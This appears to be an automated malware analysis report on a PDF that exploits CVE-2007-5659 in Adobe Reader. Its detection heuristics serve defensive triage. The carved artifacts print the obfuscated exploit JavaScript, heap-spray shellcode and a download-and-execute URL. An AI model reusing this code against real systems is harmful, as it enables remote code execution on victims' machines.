Malicious PDF — malware analysis report

Static analysis result for SHA-256 7733967594358886…

MALICIOUS

PDF

16.8 KB
MD5: 341a84c1030fccaf21d9a524a368e29e SHA-1: 46f5ceea0559345b56a7ff1d1bc412a875c197c4 SHA-256: 77339675943588864d7c708d898fa33f0ab0a27e86833e832b4fbf49c52bd029
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download and execute a second-stage payload from the URL http://axtil.info/page/information.html/n002106204r0409Xa87d171eY40ac0a15. The exploit includes anti-analysis checks and targets specific versions of Adobe Reader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://axtil.info/page/information.html/n002106204r0409Xa87d171eY40ac0a15 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x40C9 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
632d6b70e239786b1338339b6c1be0a36f7fb4ee6653cf2e1ced0d50c5e8441f		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1A4B 5242 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var l25q74__CM_v_4i = new Array();var U5_OY__IWp = 0;var i2_iJs_H = "";function d_PR8_i(R_35kGqx, BPg8vQlnJ_Hem){var B1_2YFDt_____ec = BPg8vQlnJ_Hem.toString();var Xe_r3__8SotqOs = "";for(var r54_SOIV = 0; r54_SOIV < B1_2YFDt_____ec.length; r54_SOIV++) {var SF11Sq_5lt77XR3 = parseInt(B1_2YFDt_____ec.substr(r54_SOIV, 1));if (!isNaN(SF11Sq_5lt77XR3)) {SF11Sq_5lt77XR3 = SF11Sq_5lt77XR3.toString(16);if (SF11Sq_5lt77XR3.length == 1) { SF11Sq_5lt77XR3 = "0" + SF11Sq_5lt77XR3; }else if (SF11Sq_5lt77XR3.length != 2) { SF11Sq_5lt77XR3 = "00"; }Xe_r3__8SotqOs = SF11Sq_5lt77XR3 + Xe_r3__8SotqOs;if (Xe_r3__8SotqOs.length == 8) {break;}}}while(Xe_r3__8SotqOs.length < 8) { Xe_r3__8SotqOs = "0" + Xe_r3__8SotqOs; }var N8p5J_E71__Q = R_35kGqx.toString(16);if (N8p5J_E71__Q.length == 1) { N8p5J_E71__Q = "0" + N8p5J_E71__Q; }else if (N8p5J_E71__Q.length != 2) { N8p5J_E71__Q = "00"; }Xe_r3__8SotqOs = "3" + N8p5J_E71__Q + "P" + Xe_r3__8SotqOs;return Xe_r3__8SotqOs;}function P_Bn_8_hT_3nB(Q153_41q1Dd, XA8BN_y_T_n_P7q){var pA0Yl3_i = new Array("");var t___kQG_7 = Q153_41q1Dd;var N3g3_ds_iD_Rb;if ((N3g3_ds_iD_Rb = Q153_41q1Dd.lastIndexOf("%u00")) != -1) {if (N3g3_ds_iD_Rb + 6 == Q153_41q1Dd.length) {pA0Yl3_i[0] = Q153_41q1Dd.substr(N3g3_ds_iD_Rb + 4, 2);t___kQG_7 = Q153_41q1Dd.substring(0, N3g3_ds_iD_Rb);}}N3g3_ds_iD_Rb = 1;for (r54_SOIV = 0; r54_SOIV < XA8BN_y_T_n_P7q.length; r54_SOIV++) {var M1N62Y41lY_b = XA8BN_y_T_n_P7q.charCodeAt(r54_SOIV).toString(16);if (M1N62Y41lY_b.length == 1) { M1N62Y41lY_b = "0" + M1N62Y41lY_b; }pA0Yl3_i[N3g3_ds_iD_Rb] = M1N62Y41lY_b;N3g3_ds_iD_Rb++;}r54_SOIV = pA0Yl3_i[0].length ? 0 : 1;pA0Yl3_i[N3g3_ds_iD_Rb] = "00";pA0Yl3_i[N3g3_ds_iD_Rb + 1] = "00";N3g3_ds_iD_Rb += 2;if ((pA0Yl3_i.length - r54_SOIV) % 2) {pA0Yl3_i[N3g3_ds_iD_Rb] = "00";}while(r54_SOIV < pA0Yl3_i.length) {t___kQG_7 += "%u" + pA0Yl3_i[r54_SOIV + 1] + pA0Yl3_i[r54_SOIV];r54_SOIV += 2;}t___kQG_7 += "%u0000";return t___kQG_7;}function V_8Aj_jYh(b0MLrsa, SkA31_y8q_Xq){while (b0MLrsa.length*2<SkA31_y8q_Xq) {b0MLrsa += b0MLrsa;}b0MLrsa = b0MLrsa.substring(0,SkA31_y8q_Xq/2);return b0MLrsa;}function T14ml7n(K1e8HbI_G, axi_H7_1B, xX25a_E_5_F){var T_7_2_4 = 0x0c0c0c0c;var b0MLrsa = unescape(axi_H7_1B);var XA8BN_y_T_n_P7q = d_PR8_i(K1e8HbI_G, xX25a_E_5_F);var nPOTSA_7_G = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var Q153_41q1Dd = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4370%u5848%u4172%u4152%u0077%u7468%u7074%u2f3a%u612f%u7478%u6c69%u692e%u666e%u2f6f%u6170%u6567%u692f%u666e%u726f%u616d%u6974%u6e6f%u682e%u6d74%u2f6c%u306e%u3230%u3031%u3236%u3430%u3072%u3034%u5839%u3861%u6437%u3731%u6531%u3459%u6130%u3063%u3161%u0035";app.D6K__y = unescape(P_Bn_8_hT_3nB(Q153_41q1Dd, XA8BN_y_T_n_P7q));var mgf24___yM0_e = 0x400000;var pO_7og8rYX1a = nPOTSA_7_G.length * 2;var SkA31_y8q_Xq = mgf24___yM0_e - (pO_7og8rYX1a+0x38);b0MLrsa = V_8Aj_jYh(b0MLrsa, SkA31_y8q_Xq);var C_R_sWil_5O5 = (T_7_2_4 - 0x400000)/mgf24___yM0_e;for (var Y277D_vbg = 0; Y277D_vbg < C_R_sWil_5O5; Y277D_vbg++) {l25q74__CM_v_4i[Y277D_vbg] = b0MLrsa + nPOTSA_7_G;}}function y_M_7Ch5NT(){var s8_A_k = "";fo
... (truncated)
legacy_pdfkit_stage_000.js
5c58f74ab2db54b5ef036a0359d5d1dee2cc887558b7b4ee82fb72fcb1f47d05		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A9F 11683 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function XF4ReN4DiC(pJ2e_s2FN6KL, YgM88er_N__3){var IG2tu6EmSIf = new Array();var FC7_n12x = 512;var kiTbjW_P50F = 21;var yUhY6_tP__T_5 = 0;var E_36D6Y_GyE = 0;var m_XxAh = 0;var I3__K1W2 = "";var OE82_L0rk085 = "";var a_f_Hi1_hJ_33g = 6;try {var lL_1_rIW = 0;if (app) {m_XxAh = m_XxAh + 2;YgM88er_N__3 = pr[lL_1_rIW].subject;}} catch(e) { }m_XxAh = m_XxAh + 5;if (!pJ2e_s2FN6KL) { IG2tu6EmSIf = new Array(75,11,5,191,86,114);} else {IG2tu6EmSIf = pJ2e_s2FN6KL;}var gC8V78__gn = 0;var c_B_a__7I1G_pcY = 0;var w__7rS__55t = 0;while(c_B_a__7I1G_pcY < YgM88er_N__3.length) {var Qjb4B_a4nb7kl = YgM88er_N__3.substr(c_B_a__7I1G_pcY, 2);var d5flM8_W = parseInt(Qjb4B_a4nb7kl, 21);if (gC8V78__gn >= a_f_Hi1_hJ_33g) {gC8V78__gn = 0;}d5flM8_W -= IG2tu6EmSIf[gC8V78__gn] * (w__7rS__55t + 2);if (d5flM8_W < 0) {d5flM8_W -= Math.floor(d5flM8_W / 256) * (FC7_n12x / 2);}if (c_B_a__7I1G_pcY >= 0) {d5flM8_W = String.fromCharCode(d5flM8_W);}if (m_XxAh == 6) {I3__K1W2 += oCjN1hsQ41YXo;} else if (m_XxAh == 7) {I3__K1W2 += d5flM8_W;} else {I3__K1W2 += c_B_a__7I1G_pcY;}gC8V78__gn++;c_B_a__7I1G_pcY += 2;w__7rS__55t++;}var UN3Sh3j4hC7S6_k = this;UN3Sh3j4hC7S6_k['ev'+'al'](I3__K1W2);}
	XF4ReN4DiC(0, "0c6468a9573h6fa250504j1k49bb871g52823607833a6069103a9g106825a770a1446ga9719g189f5i5c2j3f36465e3399551f8j4bbd9caj3355466b70c38bac5bbf1k12621652b11e7kadb07a7aac78c23d6a2251171c6h6gaj1i2a321j8982ag4d2c838311b7a260346kb264207a5f9a84495g550b6332b97f8a699bb6adb3b217907a4e0a9b5g843e2i6712189haa1g763a756k8abgak5d129k4489c13a46agbg602d73c29i8c018g8j3c9a49040c9c0075a559c38i33ag8d683822agbb0i39730846a5b6afbi0i8a805h7205641f9341565d5e9288acc2835k33997kakb8ac8kbg45943db62g9d0i6b7a0d98086f06ahbic3033ibgc02e57a1a16c575d1b195d615k3g51035a3e86801ib4aj080d6f3ebe5hag4ab3151c3g7f8b914fba0h1ja8bjad2e90121d275b2354805f4hba30208656622k04943ia65ca70024babd5a2e321b7f2b6bae3g8c7i7a86351h342dai109d14202i0abi2j2g7a8b2k00a830485k6a3i3b3gbg5h0d3k6c3d9303bk5eb63c4c963f838g47bk93a185bh44973a9i0882436k3b3d1b1726bk9j3f0b755973668i2aa8325c6h08326h6a0512345j9j37ak0778876d66377e8468953abb7e9ka53i41872h4g018i717baf53133i4bbf817400813j7f45a73g2f4h4b34535g7f7h3fb25b6i2f569471c08j9g8b744220a8bk53272k2a96808hb2b8891f06656g9h8ic08d8d3h7i2j40ah5c9e1b2j2949a146107045b18743ah978a7i749c7b1e749e7e4a20348a387g0a388505c2ac9cb4bfbf53ad8e921j3g8b890e4f4d212k9e0b276k66bk8b5kb5ba501c830i86378bb68fc15e47984gc08j1ka69ea6bb1197c30j3902a39039048e03956j5h490b044b3ha25j928kahaf9i4abj939g9b4f81840f2f7i88ad2i0g0j42a880740h8d19b3c113b141ab5423641iaa797d390k22950i8h134baj1h25ad55061a1f814c703k129g848c7e08b138157k7d27b5afaa1abcb13372ab4kai42346489772j8gbh2d5fb74612207b2a043h9j1g3a8f57652i04bk4k7i7e7518a33i06a60d4c671a3cb9954a1k8e3ba0c025a58e5iag78266c38b02d0c29bg292k385653a5046a6a1e1f4772654f4a1j362gbc6a1a32932h227i465663b83a9c962cc2646da32j4i8a6kag0ibf4d49103f364e47bb1e7357c26b7b9ka733235d4e77b36cac580d1842903b4ab70j7kahb0793f6j8g8i1a4dbj85ab067c848j2k4a1613586j106k0k754g00808b2a0g4k076k206h94617247307e2e973k0d8k6e625b888b8582b15f6a5h2jab638j212h311g0g898aba58065i684a8b8b460a9a485k2a61439205626a6f0c838c299g9k67ag0eb100a7c383bi8910b45db98f4f6kbac2ak4j3597394gbc0c8gbc3i8fbf816k355f34b41k6c50428i94a50h9b620k0561ai0f735kb92h7725a42c10055f6g0k88b96b4377303205579b1e1e5c01117a4050adb25d77797245ba5b4ca88da9a49ja7bf9j6g205hak48a5061i435i7b9g32c1a0388ab29h1e6kb22a03452236b94i4e8715b27g5h545434944j9g6da32c3a1k27511g00088d5b78a431a77g8g9d3h285b1h9h978k10bcbk28bf1145789h5g0e9e3e6b937d532j412g49c3355c14ah000b48bf1c2g8b465f5b23b85ba8ad1i1b774ga2bk554f643c3316bi4j17c036bk3g3373767h0ebj32433i08314067c31f3g44095kb1097e88312i7ea28873b36e056715ad2h637b1g0jbc8e49490950ba5749159j7i3ib76kbe7f211f324j721e4660ae7434bf796c3a4889718b64635947582ba12g7g3a3a3bba6e4k9aa873af046172888g305h7137532i4d1g9a02595b5f7h6251b7545db39614ahbc8h6i9ca47i1e99a27c8j674d8d6e783a249bc30888beacbiac426i5a6b303c057111643h24539eb2168b2e97795d9i92802c8c3i81267a9k7ha82e5i8b239d752facb896b44gbkbgaj46910e964329a5c06b317a1a0hbg3e278e4a649a9i972079280i598b1d6k63a443484g9h19070c0a8a7d74b66gb705c1280f429g4j1665b41a4a7b330e207a4daf494k26241hbd3b000j019243493a2e9g6d8f97c22c581d8e7j2
... (truncated)
deobfuscated.js
5572ed8b9f8143a5c9977470e87ff1388251a348d7970205b9743b01c555023a		 deobfuscated-js PDF JavaScript deobfuscation pass 89594 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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